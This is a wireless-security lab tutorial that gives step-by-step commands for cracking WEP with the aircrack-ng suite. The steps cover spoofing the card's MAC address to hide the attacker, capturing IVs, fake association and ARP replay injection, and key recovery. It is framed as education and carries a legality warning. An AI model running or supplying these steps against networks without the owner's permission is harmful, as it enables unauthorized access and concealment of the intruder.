

Lab Section: Wireless Security**Lab Title:** Crack WEP using Blacktrack3.0 live CD**Purpose:**

1. Understand how WEP works.
2. Understand the method of cracking WEP
3. **Warning:** It is illegal to crack other peoples' wireless connection without their permission.
this tutorial is for educational purposes only

Preparation:

1. Check if your wireless card is supported by Blacktrack:
<http://backtrack.offensive-security.com/index.php?title=HCL:Wireless>
2. Detect, sniff, inject wireless network
3. Always can use "man <command>" to get the description of the command.

Tools:

1. airmon-ng: change the wireless card into monitor mode.
2. ifconfig: configure a card
3. iwconfig: configure a wireless card
4. macchanger: change the mac address of a networking card
5. airodump-ng: capture packets
6. aireplay-ng: generate traffic by injecting ARP-request packets into a wireless network.
7. commview for wifi: (optional) generate traffic.

Procedure:**1. Get the target AP's information (BSSID, ESSID, channel etc.)**

Open a terminal window.

```
# cd /tmp
```

```
# iwconfig
```

```
-- Show and get the wireless device name.
```

```
# airodump-ng <device>
```

```
-- Once you get the information, press ctrl+c to stop the capture, then copy and paste the target AP's information to a notepad.
```

2. Change the wireless card's MAC address

```
# macchanger -s rausb0
```

```
-- Show the wireless card's MAC address
```

```
# airmon-ng stop <device>
```

```
-- turn wireless card into manage mode.
```

```
# ifconfig <device> down
```

```
-- Turn off the wireless card; otherwise you can not change the MAC address.
```

```
# macchanger -a rausb0
```

-- Change the MAC of the wireless card to a faked MAC. An attacker always wants to hide himself. This is a necessary step for attack purpose.

```
# ifconfig <device> up
```

-- Turn on the wireless card.

3. Change the wireless card into monitor mode

```
# airmon-ng start <device>
```

-- Enable the monitor mode

```
# iwconfig
```

-- Make sure the wireless card is in the Monitor mode.

4. Capture packets:

```
# airodump-ng -c <channel> -w <file name> --bssid <AP's bssid> --ivs <device>
```

-- To understand the parameter's meaning, type "airodump --help" or "man airodump". Leave this window opened

5. Associate the wireless card with the target AP:

Open a new terminal window

```
# aireplay-ng -1 0 -e <ssid> -a <bssid> -h <wireless card's MAC> <device>
```

-- To understand the parameter's meaning, type "aireplay --help" or "man aireplay".

6. Generate traffics:

```
# aireplay-ng -3 -b <bssid> -h <wireless card's MAC address> <device>
```

-- To understand the parameter's meaning, type "aireplay --help" or "man aireplay". Leave this window opened. Additionally, you can use commview for wifi to generate traffics to increase the crack process.

7. Crack the password:

Open a new terminal window

```
# cd /tmp
```

```
# aircrack-ng -b <bssid> *.ivs
```

1. For more information, please visit my blog <http://jhuang8.blogspot.com/>.
2. Video demo is located in <http://www.valit.ca/lab/>.